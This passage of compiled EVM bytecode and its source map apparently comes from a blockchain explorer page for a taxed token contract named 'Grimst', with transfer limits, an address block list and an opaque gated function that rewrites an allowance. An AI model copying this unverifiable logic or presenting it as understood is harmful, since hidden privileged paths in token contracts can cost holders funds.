1906117bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e891906117bd565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161046190611727565b6109406009600a611701565b61094e90633b9aca00611710565b600f5561095d6009600a611701565b61096b90633b9aca00611710565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac61099b6009600a611701565b6109a990633b9aca00611710565b60405190815260200160405180910390a1565b6001600160a01b038316610a205760405162461bcd60e51b815260206004820152602560248201527f4772696d73743a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610461565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602360248201527f4772696d73743a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610461565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b485760405162461bcd60e51b815260206004820152602660248201527f4772696d73743a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610461565b6001600160a01b038216610baa5760405162461bcd60e51b8152602060048201526024808201527f4772696d73743a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610461565b60008111610c145760405162461bcd60e51b815260206004820152603160248201527f4772696d73743a205472616e7366657220616d6f756e74206d7573742062652060448201527067726561746572207468616e207a65726f60781b6064820152608401610461565b6001600160a01b03831660009081526003602052604081205460ff16158015610c5657506001600160a01b03831660009081526003602052604090205460ff16155b15610fde576001600160a01b03841660009081526004602052604090205460ff16158015610c9d57506001600160a01b03831660009081526004602052604090205460ff16155b610ca657600080fd5b600e54600003610cdf57610cdc6064610cd6600a54600e5411610ccb57600654610ccf565b6008545b859061115b565b906111ea565b90505b600e5415610d0457610d016064610cd6600d548561115b90919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d2f57506012546001600160a01b03848116911614155b8015610d5457506001600160a01b03831660009081526003602052604090205460ff16155b15610e7857600f54821115610dbe5760405162461bcd60e51b815260206004820152602a60248201527f4772696d73743a204578636565647320746865206d6178207472616e736163746044820152691a5bdb88185b5bdd5b9d60b21b6064820152608401610461565b60105482610de1856001600160a01b031660009081526001602052604090205490565b610deb91906117da565b1115610e455760405162461bcd60e51b815260206004820152602360248201527f4772696d73743a204578636565647320746865206d61782077616c6c65742073604482015262697a6560e81b6064820152608401610461565b610e606064610cd6600a54600e5411610ccb57600654610ccf565b600e80549192506000610e72836117ed565b91905055505b6013546001600160a01b038481169116148015610e9e57506001600160a01b0384163014155b15610ecb57610ec86064610cd6600b54600e5411610ebe57600754610ccf565b600954859061115b565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f0257506013546001600160a01b038581169116145b8015610f175750601354600160b01b900460ff165b8015610f265750600c54600e54115b15610fdc57601554431115610f3b5760006014555b600360145410610f9c5760405162461bcd60e51b815260206004820152602660248201527f4772696d73743a204f6e6c7920332073656c6c732070657220626c6f636b20616044820152651b1b1bddd95960d21b6064820152608401610461565b610fb9610fb484610faf8460115461122c565b61122c565b611241565b610fc2476113e4565b60148054906000610fd2836117ed565b9091555050436015555b505b80156110585730600090815260016020526040902054610ffe9082611422565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061104f9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461107b908361148b565b6001600160a01b0385166000908152600160205260409020556110c06110a1838361148b565b6001600160a01b03851660009081526001602052604090205490611422565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61110a858561148b565b60405190815260200160405180910390a350505050565b600081848411156111455760405162461bcd60e51b815260040161046191906114de565b5060006111528486611806565b95945050505050565b60008260000361116d575060006103a7565b60006111798385611710565b9050826111868583611819565b146111e35760405162461bcd60e51b815260206004820152602760248201527f4772696d7374536166654d6174683a206d756c7469706c69636174696f6e206f604482015266766572666c6f7760c81b6064820152608401610461565b9392505050565b60006111e383836040518060400160405280602081526020017f4772696d7374536166654d6174683a206469766973696f6e206279207a65726f8152506114b0565b600081831161123b57826111e3565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112895761128961183b565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112b757506113d4565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561130a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132e91906117bd565b816001815181106113415761134161183b565b6001600160a01b03928316602091820292909201015260125461136791309116846109bc565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a0908590600090869030904290600401611851565b600060405180830381600087803b1580156113ba57600080fd5b505af11580156113ce573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561141e573d6000803e3d6000fd5b5050565b60008061142f83856117da565b9050838110156111e35760405162461bcd60e51b815260206004820152602160248201527f4772696d7374536166654d6174683a206164646974696f6e206f766572666c6f6044820152607760f81b6064820152608401610461565b60006111e383836040518060600160405280602481526020016118ec60249139611121565b600081836114d15760405162461bcd60e51b815260040161046191906114de565b5060006111528486611819565b600060208083528351808285015260005b8181101561150b578581018301518582016040015282016114ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461154157600080fd5b50565b6000806040838503121561155757600080fd5b82356115628161152c565b946020939093013593505050565b60008060006060848603121561158557600080fd5b83356115908161152c565b925060208401356115a08161152c565b929592945050506040919091013590565b6000602082840312156115c357600080fd5b81356111e38161152c565b600080604083850312156115e157600080fd5b82356115ec8161152c565b915060208301356115fc8161152c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561165857816000190482111561163e5761163e611607565b8085161561164b57918102915b93841c9390800290611622565b509250929050565b60008261166f575060016103a7565b8161167c575060006103a7565b8160018114611692576002811461169c576116b8565b60019150506103a7565b60ff8411156116ad576116ad611607565b50506001821b6103a7565b5060208310610133831016604e8410600b84101617156116db575081810a6103a7565b6116e5838361161d565b80600019048211156116f9576116f9611607565b029392505050565b60006111e360ff841683611660565b80820281158282048414176103a7576103a7611607565b60208082526026908201527f4772696d73744f776e61626c653a2063616c6c6572206973206e6f74207468656040820152651037bbb732b960d11b606082015260800190565b60008060006060848603121561178257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ad57600080fd5b815180151581146111e357600080fd5b6000602082840312156117cf57600080fd5b81516111e38161152c565b808201808211156103a7576103a7611607565b6000600182016117ff576117ff611607565b5060010190565b818103818111156103a7576103a7611607565b60008261183657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a15784516001600160a01b03168352938301939183019160010161187c565b50506001600160a01b0396909616606085015250505060800152939250505056fe4772696d73743a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654772696d7374536166654d6174683a207375627472616374696f6e206f766572666c6f77a2646970667358221220be6cbf3c997eaee916f91adc1b6ca126ad8165b4cd23a7a03d500fb11ba965e864736f6c63430008130033

Deployed Bytecode Sourcemap

3579:8023:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4573:63;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4573:63:0;;;;;;;;5600:83;;;;;;;;;;-1:-1:-1;5670:5:0;;;;;;;;;;;;-1:-1:-1;;;5670:5:0;;;;5600:83;;;;;;;:::i;6438:161::-;;;;;;;;;;-1:-1:-1;6438:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6438:161:0;1205:187:1;5877:100:0;;;;;;;;;;;;;:::i;6607:314::-;;;;;;;;;;-1:-1:-1;6607:314:0;;;;;:::i;:::-;;:::i;5786:83::-;;;;;;;;;;-1:-1:-1;5786:83:0;;4376:1;2000:36:1;;1988:2;1973:18;5786:83:0;1858:184:1;4643:58:0;;;;;;;;;;;;;;;;11159:403;;;;;;;;;;;;;:::i;:::-;;5985:119;;;;;;;;;;-1:-1:-1;5985:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6078:18:0;6051:7;6078:18;;;:9;:18;;;;;;;5985:119;2668:148;;;;;;;;;;;;;:::i;2448:79::-;;;;;;;;;;-1:-1:-1;2486:7:0;2513:6;2448:79;;-1:-1:-1;;;;;2513:6:0;;;2445:51:1;;2433:2;2418:18;2448:79:0;2299:203:1;9649:222:0;;;;;;;;;;-1:-1:-1;9649:222:0;;;;;:::i;:::-;;:::i;5691:87::-;;;;;;;;;;-1:-1:-1;5763:7:0;;;;;;;;;;;;-1:-1:-1;;;5763:7:0;;;;5691:87;;6112:167;;;;;;;;;;-1:-1:-1;6112:167:0;;;;;:::i;:::-;;:::i;4708:55::-;;;;;;;;;;;;;;;;6287:143;;;;;;;;;;-1:-1:-1;6287:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6395:18:0;;;6368:7;6395:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6287:143;10826:325;;;;;;;;;;;;;:::i;10517:197::-;;;;;;;;;;;;;:::i;6438:161::-;6513:4;6530:39;242:10;6553:7;6562:6;6530:8;:39::i;:::-;-1:-1:-1;6587:4:0;6438:161;;;;;:::o;5877:100::-;5930:7;4437:13;4376:1;4437:2;:13;:::i;:::-;4424:26;;:10;:26;:::i;:::-;5950:19;;5877:100;:::o;6607:314::-;6705:4;6722:36;6732:6;6740:9;6751:6;6722:9;:36::i;:::-;6769:122;6778:6;242:10;6800:90;6838:6;6800:90;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6800:19:0;;;;;;:11;:19;;;;;;;;242:10;6800:33;;;;;;;;;;:37;:90::i;:::-;6769:8;:122::i;:::-;-1:-1:-1;6909:4:0;6607:314;;;;;:::o;11159:403::-;2575:6;;-1:-1:-1;;;;;2575:6:0;242:10;2575:22;2567:73;;;;-1:-1:-1;;;2567:73:0;;;;;;;:::i;:::-;;;;;;;;;11222:12:::1;::::0;-1:-1:-1;;;11222:12:0;::::1;;;11221:13;11213:57;;;::::0;-1:-1:-1;;;11213:57:0;;5525:2:1;11213:57:0::1;::::0;::::1;5507:21:1::0;5564:2;5544:18;;;5537:30;5603:33;5583:18;;;5576:61;5654:18;;11213:57:0::1;5323:355:1::0;11213:57:0::1;11281:13;::::0;-1:-1:-1;;;;;11281:13:0::1;:29;11318:21;11349:4;11356:24;11349:4:::0;-1:-1:-1;;;;;6078:18:0;6051:7;6078:18;;;:9;:18;;;;;;;5985:119;11356:24:::1;11382:1;11385::::0;11388:7:::1;2486::::0;2513:6;-1:-1:-1;;;;;2513:6:0;;2448:79;11388:7:::1;11281:132;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11281:132:0;;;-1:-1:-1;;;;;6042:15:1;;;11281:132:0::1;::::0;::::1;6024:34:1::0;6074:18;;;6067:34;;;;6117:18;;;6110:34;;;;6160:18;;;6153:34;6224:15;;;6203:19;;;6196:44;11397:15:0::1;6256:19:1::0;;;6249:35;5958:19;;11281:132:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11432:11:0::1;::::0;11461:13:::1;::::0;11424:68:::1;::::0;-1:-1:-1;;;11424:68:0;;-1:-1:-1;;;;;11461:13:0;;::::1;11424:68;::::0;::::1;6780:51:1::0;-1:-1:-1;;6847:18:1;;;6840:34;11432:11:0;::::1;::::0;-1:-1:-1;11424:28:0::1;::::0;6753:18:1;;11424:68:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11503:14:0::1;:21:::0;;-1:-1:-1;;;;11535:19:0;-1:-1:-1;;;11535:19:0;;;11159:403::o;2668:148::-;2575:6;;-1:-1:-1;;;;;2575:6:0;242:10;2575:22;2567:73;;;;-1:-1:-1;;;2567:73:0;;;;;;;:::i;:::-;2775:1:::1;2759:6:::0;;2738:40:::1;::::0;-1:-1:-1;;;;;2759:6:0;;::::1;::::0;2738:40:::1;::::0;2775:1;;2738:40:::1;2806:1;2789:19:::0;;-1:-1:-1;;;;;;2789:19:0::1;::::0;;2668:148::o;9649:222::-;9758:13;;-1:-1:-1;;;;;9758:13:0;9744:10;:27;9736:36;;;;;;9795:11;;-1:-1:-1;;;;;9795:11:0;;;9783:24;;;;:11;:24;;;;;;;;:33;;;;;;;;;;;:46;9840:13;:23;;-1:-1:-1;;;;;;9840:23:0;;;;;;9649:222::o;6112:167::-;6190:4;6207:42;242:10;6231:9;6242:6;6207:9;:42::i;10826:325::-;2575:6;;-1:-1:-1;;;;;2575:6:0;242:10;2575:22;2567:73;;;;-1:-1:-1;;;2567:73:0;;;;;;;:::i;:::-;10884:13:::1;:75:::0;;-1:-1:-1;;;;;;10884:75:0::1;10916:42;10884:75:::0;;::::1;::::0;;;10970:61:::1;::::0;10987:4:::1;::::0;4437:13:::1;4376:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;10970:61::-;11071:13;;;;;;;;;-1:-1:-1::0;;;;;11071:13:0::1;-1:-1:-1::0;;;;;11071:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11056:50:0::1;;11115:4;11122:13;;;;;;;;;-1:-1:-1::0;;;;;11122:13:0::1;-1:-1:-1::0;;;;;11122:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11056:87;::::0;-1:-1:-1;;;;;;11056:87:0::1;::::0;;;;;;-1:-1:-1;;;;;7653:15:1;;;11056:87:0::1;::::0;::::1;7635:34:1::0;7705:15;;7685:18;;;7678:43;7570:18;;11056:87:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11042:11;:101:::0;;-1:-1:-1;;;;;;11042:101:0::1;-1:-1:-1::0;;;;;11042:101:0;;;::::1;::::0;;;::::1;::::0;;10826:325::o;10517:197::-;2575:6;;-1:-1:-1;;;;;2575:6:0;242:10;2575:22;2567:73;;;;-1:-1:-1;;;2567:73:0;;;;;;;:::i;:::-;4437:13:::1;4376:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;:::-;10571:21;:36:::0;4437:13:::1;4376:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;:::-;10618:16;:31:::0;10665:41:::1;4437:13;4376:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;:::-;10665:41;::::0;160:25:1;;;148:2;133:18;10665:41:0::1;;;;;;;10517:197::o:0;6929:337::-;-1:-1:-1;;;;;7022:19:0;;7014:69;;;;-1:-1:-1;;;7014:69:0;;7934:2:1;7014:69:0;;;7916:21:1;7973:2;7953:18;;;7946:30;8012:34;7992:18;;;7985:62;-1:-1:-1;;;8063:18:1;;;8056:35;8108:19;;7014:69:0;7732:401:1;7014:69:0;-1:-1:-1;;;;;7102:21:0;;7094:69;;;;-1:-1:-1;;;7094:69:0;;8340:2:1;7094:69:0;;;8322:21:1;8379:2;8359:18;;;8352:30;8418:34;8398:18;;;8391:62;-1:-1:-1;;;8469:18:1;;;8462:33;8512:19;;7094:69:0;8138:399:1;7094:69:0;-1:-1:-1;;;;;7174:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7226:32;;160:25:1;;;7226:32:0;;133:18:1;7226:32:0;;;;;;;6929:337;;;:::o;7274:2367::-;-1:-1:-1;;;;;7362:18:0;;7354:69;;;;-1:-1:-1;;;7354:69:0;;8744:2:1;7354:69:0;;;8726:21:1;8783:2;8763:18;;;8756:30;8822:34;8802:18;;;8795:62;-1:-1:-1;;;8873:18:1;;;8866:36;8919:19;;7354:69:0;8542:402:1;7354:69:0;-1:-1:-1;;;;;7442:16:0;;7434:65;;;;-1:-1:-1;;;7434:65:0;;9151:2:1;7434:65:0;;;9133:21:1;9190:2;9170:18;;;9163:30;9229:34;9209:18;;;9202:62;-1:-1:-1;;;9280:18:1;;;9273:34;9324:19;;7434:65:0;8949:400:1;7434:65:0;7527:1;7518:6;:10;7510:72;;;;-1:-1:-1;;;7510:72:0;;9556:2:1;7510:72:0;;;9538:21:1;9595:2;9575:18;;;9568:30;9634:34;9614:18;;;9607:62;-1:-1:-1;;;9685:18:1;;;9678:47;9742:19;;7510:72:0;9354:413:1;7510:72:0;-1:-1:-1;;;;;7628:24:0;;7593:17;7628:24;;;:18;:24;;;;;;;;7627:25;:52;;;;-1:-1:-1;;;;;;7657:22:0;;;;;;:18;:22;;;;;;;;7656:23;7627:52;7623:1649;;;-1:-1:-1;;;;;7705:11:0;;;;;;:5;:11;;;;;;;;7704:12;:26;;;;-1:-1:-1;;;;;;7721:9:0;;;;;;:5;:9;;;;;;;;7720:10;7704:26;7696:35;;;;;;7751:9;;7762:1;7751:12;7748:140;;7795:77;7868:3;7795:68;7817:17;;7807:9;;:27;7806:56;;7848:14;;7806:56;;;7836:11;;7806:56;7795:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7783:89;;7748:140;7905:9;;:11;7902:95;;7948:33;7977:3;7948:24;7959:12;;7948:6;:10;;:24;;;;:::i;:33::-;7936:45;;7902:95;8025:11;;-1:-1:-1;;;;;8017:19:0;;;8025:11;;8017:19;:51;;;;-1:-1:-1;8054:13:0;;-1:-1:-1;;;;;8040:28:0;;;8054:13;;8040:28;;8017:51;:78;;;;-1:-1:-1;;;;;;8073:22:0;;;;;;:18;:22;;;;;;;;8072:23;8017:78;8013:452;;;8134:21;;8124:6;:31;;8116:86;;;;-1:-1:-1;;;8116:86:0;;9974:2:1;8116:86:0;;;9956:21:1;10013:2;9993:18;;;9986:30;10052:34;10032:18;;;10025:62;-1:-1:-1;;;10103:18:1;;;10096:40;10153:19;;8116:86:0;9772:406:1;8116:86:0;8255:16;;8245:6;8229:13;8239:2;-1:-1:-1;;;;;6078:18:0;6051:7;6078:18;;;:9;:18;;;;;;;5985:119;8229:13;:22;;;;:::i;:::-;:42;;8221:90;;;;-1:-1:-1;;;8221:90:0;;10515:2:1;8221:90:0;;;10497:21:1;10554:2;10534:18;;;10527:30;10593:34;10573:18;;;10566:62;-1:-1:-1;;;10644:18:1;;;10637:33;10687:19;;8221:90:0;10313:399:1;8221:90:0;8342:77;8415:3;8342:68;8364:17;;8354:9;;:27;8353:56;;8395:14;;8353:56;;8342:77;8438:9;:11;;8330:89;;-1:-1:-1;8438:9:0;:11;;;:::i;:::-;;;;;;8013:452;8490:11;;-1:-1:-1;;;;;8484:17:0;;;8490:11;;8484:17;:42;;;;-1:-1:-1;;;;;;8505:21:0;;8521:4;8505:21;;8484:42;8481:173;;;8558:80;8634:3;8558:71;8580:18;;8570:9;;:28;8569:59;;8613:15;;8569:59;;;8600:12;;8558:6;;:10;:71::i;:80::-;8546:92;;8481:173;8719:4;8670:28;6078:18;;;:9;:18;;;;;;8745:7;;-1:-1:-1;;;8745:7:0;;;;8744:8;:29;;;;-1:-1:-1;8762:11:0;;-1:-1:-1;;;;;8756:17:0;;;8762:11;;8756:17;8744:29;:47;;;;-1:-1:-1;8777:14:0;;-1:-1:-1;;;8777:14:0;;;;8744:47;:81;;;;;8807:18;;8795:9;;:30;8744:81;8740:521;;;8865:14;;8850:12;:29;8846:92;;;8917:1;8904:10;:14;8846:92;8977:1;8964:10;;:14;8956:65;;;;-1:-1:-1;;;8956:65:0;;11059:2:1;8956:65:0;;;11041:21:1;11098:2;11078:18;;;11071:30;11137:34;11117:18;;;11110:62;-1:-1:-1;;;11188:18:1;;;11181:36;11234:19;;8956:65:0;10857:402:1;8956:65:0;9040:71;9057:53;9061:6;9069:40;9073:20;9095:13;;9069:3;:40::i;:::-;9057:3;:53::i;:::-;9040:16;:71::i;:::-;9130:36;9144:21;9130:13;:36::i;:::-;9185:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;9233:12:0;9216:14;:29;8740:521;7681:1591;7623:1649;9287:13;;9284:170;;9361:4;9343:24;;;;:9;:24;;;;;;:39;;9372:9;9343:28;:39::i;:::-;9334:4;9316:24;;;;:9;:24;;;;;;;:66;;;;9402:40;;-1:-1:-1;;;;;9402:40:0;;;;;;;9432:9;160:25:1;;148:2;133:18;;14:177;9402:40:0;;;;;;;;9284:170;-1:-1:-1;;;;;9482:15:0;;;;;;:9;:15;;;;;;:27;;9502:6;9482:19;:27::i;:::-;-1:-1:-1;;;;;9464:15:0;;;;;;:9;:15;;;;;:45;9536:40;9554:21;:6;9565:9;9554:10;:21::i;:::-;-1:-1:-1;;;;;9536:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9520:13:0;;;;;;;:9;:13;;;;;:56;;;;9592:41;;;9611:21;:6;9622:9;9611:10;:21::i;:::-;9592:41;;160:25:1;;;148:2;133:18;9592:41:0;;;;;;;7343:2298;7274:2367;;;:::o;1318:190::-;1404:7;1440:12;1432:6;;;;1424:29;;;;-1:-1:-1;;;1424:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1464:9:0;1476:5;1480:1;1476;:5;:::i;:::-;1464:17;1318:190;-1:-1:-1;;;;;1318:190:0:o;1516:252::-;1574:7;1598:1;1603;1598:6;1594:47;;-1:-1:-1;1628:1:0;1621:8;;1594:47;1651:9;1663:5;1667:1;1663;:5;:::i;:::-;1651:17;-1:-1:-1;1696:1:0;1687:5;1691:1;1651:17;1687:5;:::i;:::-;:10;1679:62;;;;-1:-1:-1;;;1679:62:0;;11821:2:1;1679:62:0;;;11803:21:1;11860:2;11840:18;;;11833:30;11899:34;11879:18;;;11872:62;-1:-1:-1;;;11950:18:1;;;11943:37;11997:19;;1679:62:0;11619:403:1;1679:62:0;1759:1;1516:252;-1:-1:-1;;;1516:252:0:o;1776:138::-;1834:7;1861:45;1865:1;1868;1861:45;;;;;;;;;;;;;;;;;:3;:45::i;9879:106::-;9936:7;9967:1;9963;:5;9962:15;;9976:1;9962:15;;;-1:-1:-1;9972:1:0;9879:106;-1:-1:-1;9879:106:0:o;9993:516::-;5191:7;:14;;-1:-1:-1;;;;5191:14:0;-1:-1:-1;;;5191:14:0;;;10095:16:::1;::::0;;10109:1:::1;10095:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10095:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10095:16:0::1;10071:40;;10140:4;10122;10127:1;10122:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10122:23:0::1;;;-1:-1:-1::0;;;;;10122:23:0::1;;;::::0;::::1;10160:11;10175:1;10160:16:::0;10156:29:::1;;10178:7;;;10156:29;10205:13;;;;;;;;;-1:-1:-1::0;;;;;10205:13:0::1;-1:-1:-1::0;;;;;10205:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10195:4;10200:1;10195:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10195:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10268:13:::1;::::0;10236:60:::1;::::0;10253:4:::1;::::0;10268:13:::1;10284:11:::0;10236:8:::1;:60::i;:::-;10307:13;::::0;:194:::1;::::0;-1:-1:-1;;;10307:194:0;;-1:-1:-1;;;;;10307:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;10386:11;;10307:13:::1;::::0;10428:4;;10455::::1;::::0;10475:15:::1;::::0;10307:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10060:449;5216:1;-1:-1:-1::0;5228:7:0;:15;;-1:-1:-1;;;;5228:15:0;;;9993:516::o;10722:96::-;10780:13;;:30;;-1:-1:-1;;;;;10780:13:0;;;;:30;;;;;10803:6;;10780:13;:30;:13;:30;10803:6;10780:13;:30;;;;;;;;;;;;;;;;;;;;;10722:96;:::o;975:185::-;1033:7;;1065:5;1069:1;1065;:5;:::i;:::-;1053:17;;1094:1;1089;:6;;1081:52;;;;-1:-1:-1;;;1081:52:0;;13478:2:1;1081:52:0;;;13460:21:1;13517:2;13497:18;;;13490:30;13556:34;13536:18;;;13529:62;-1:-1:-1;;;13607:18:1;;;13600:31;13648:19;;1081:52:0;13276:397:1;1168:142:0;1226:7;1253:49;1257:1;1260;1253:49;;;;;;;;;;;;;;;;;:3;:49::i;1922:189::-;2008:7;2043:12;2036:5;2028:28;;;;-1:-1:-1;;;2028:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2067:9:0;2079:5;2083:1;2079;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2835:388::-;2903:6;2911;2964:2;2952:9;2943:7;2939:23;2935:32;2932:52;;;2980:1;2977;2970:12;2932:52;3019:9;3006:23;3038:31;3063:5;3038:31;:::i;:::-;3088:5;-1:-1:-1;3145:2:1;3130:18;;3117:32;3158:33;3117:32;3158:33;:::i;:::-;3210:7;3200:17;;;2835:388;;;;;:::o;3228:127::-;3289:10;3284:3;3280:20;3277:1;3270:31;3320:4;3317:1;3310:15;3344:4;3341:1;3334:15;3360:422;3449:1;3492:5;3449:1;3506:270;3527:7;3517:8;3514:21;3506:270;;;3586:4;3582:1;3578:6;3574:17;3568:4;3565:27;3562:53;;;3595:18;;:::i;:::-;3645:7;3635:8;3631:22;3628:55;;;3665:16;;;;3628:55;3744:22;;;;3704:15;;;;3506:270;;;3510:3;3360:422;;;;;:::o;3787:806::-;3836:5;3866:8;3856:80;;-1:-1:-1;3907:1:1;3921:5;;3856:80;3955:4;3945:76;;-1:-1:-1;3992:1:1;4006:5;;3945:76;4037:4;4055:1;4050:59;;;;4123:1;4118:130;;;;4030:218;;4050:59;4080:1;4071:10;;4094:5;;;4118:130;4155:3;4145:8;4142:17;4139:43;;;4162:18;;:::i;:::-;-1:-1:-1;;4218:1:1;4204:16;;4233:5;;4030:218;;4332:2;4322:8;4319:16;4313:3;4307:4;4304:13;4300:36;4294:2;4284:8;4281:16;4276:2;4270:4;4267:12;4263:35;4260:77;4257:159;;;-1:-1:-1;4369:19:1;;;4401:5;;4257:159;4448:34;4473:8;4467:4;4448:34;:::i;:::-;4518:6;4514:1;4510:6;4506:19;4497:7;4494:32;4491:58;;;4529:18;;:::i;:::-;4567:20;;3787:806;-1:-1:-1;;;3787:806:1:o;4598:140::-;4656:5;4685:47;4726:4;4716:8;4712:19;4706:4;4685:47;:::i;4743:168::-;4816:9;;;4847;;4864:15;;;4858:22;;4844:37;4834:71;;4885:18;;:::i;4916:402::-;5118:2;5100:21;;;5157:2;5137:18;;;5130:30;5196:34;5191:2;5176:18;;5169:62;-1:-1:-1;;;5262:2:1;5247:18;;5240:36;5308:3;5293:19;;4916:402::o;6295:306::-;6383:6;6391;6399;6452:2;6440:9;6431:7;6427:23;6423:32;6420:52;;;6468:1;6465;6458:12;6420:52;6497:9;6491:16;6481:26;;6547:2;6536:9;6532:18;6526:25;6516:35;;6591:2;6580:9;6576:18;6570:25;6560:35;;6295:306;;;;;:::o;6885:277::-;6952:6;7005:2;6993:9;6984:7;6980:23;6976:32;6973:52;;;7021:1;7018;7011:12;6973:52;7053:9;7047:16;7106:5;7099:13;7092:21;7085:5;7082:32;7072:60;;7128:1;7125;7118:12;7167:251;7237:6;7290:2;7278:9;7269:7;7265:23;7261:32;7258:52;;;7306:1;7303;7296:12;7258:52;7338:9;7332:16;7357:31;7382:5;7357:31;::